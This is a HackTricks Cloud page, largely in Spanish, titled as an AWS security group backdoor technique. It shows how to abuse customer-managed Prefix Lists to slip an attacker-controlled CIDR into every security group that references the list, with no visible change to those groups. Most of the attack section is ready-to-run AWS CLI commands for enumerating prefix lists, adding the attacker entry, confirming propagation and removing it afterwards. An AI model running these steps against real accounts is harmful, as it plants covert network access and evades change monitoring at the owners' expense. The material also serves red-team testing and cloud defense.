AWS - Security Group Backdoor via Managed Prefix Lists
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen
Abusar de customer-managed Prefix Lists para crear una vía de acceso sigilosa. Si una security group (SG) rule referencia una managed Prefix List, cualquiera con la capacidad de modificar esa lista puede añadir silenciosamente CIDRs controlados por el atacante. Cada SG (y potencialmente Network ACL o VPC endpoint) que haga referencia a la lista permitirá inmediatamente los nuevos rangos sin ningún cambio visible en el SG.
Impacto
- Expansión instantánea de los rangos de IP permitidos para todos los SG que referencian la prefix list, eludiendo los controles de cambio que solo monitorizan las ediciones de SG.
- Permite backdoors persistentes de ingress/egress: mantener el CIDR malicioso oculto en la prefix list mientras la SG rule aparece sin cambios.
Requisitos
- IAM permissions:
ec2:DescribeManagedPrefixListsec2:GetManagedPrefixListEntriesec2:ModifyManagedPrefixListec2:DescribeSecurityGroups/ec2:DescribeSecurityGroupRules(to identify attached SGs)- Optional:
ec2:CreateManagedPrefixListif creating a new one for testing. - Entorno: Al menos una SG rule que referencia la customer-managed Prefix List objetivo.
Variables
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"
Pasos del ataque
- Enumerar listas de prefijos candidatas y sus consumidores
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table
aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
Usa aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID para confirmar qué reglas de SG dependen de la lista.
- Add attacker CIDR to the prefix list
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
- Validar la propagación a los grupos de seguridad
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
El tráfico desde $ENTRY_CIDR ahora está permitido dondequiera que se haga referencia a la prefix list (comúnmente reglas de salida en egress proxies o reglas de entrada en servicios compartidos).
Evidencia
get-managed-prefix-list-entriesrefleja el CIDR del atacante y la descripción.describe-security-group-rulesaún muestra la regla SG original que referencia la prefix list (no hay registro de modificación de la SG), sin embargo el tráfico desde el nuevo CIDR funciona.
Limpieza
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

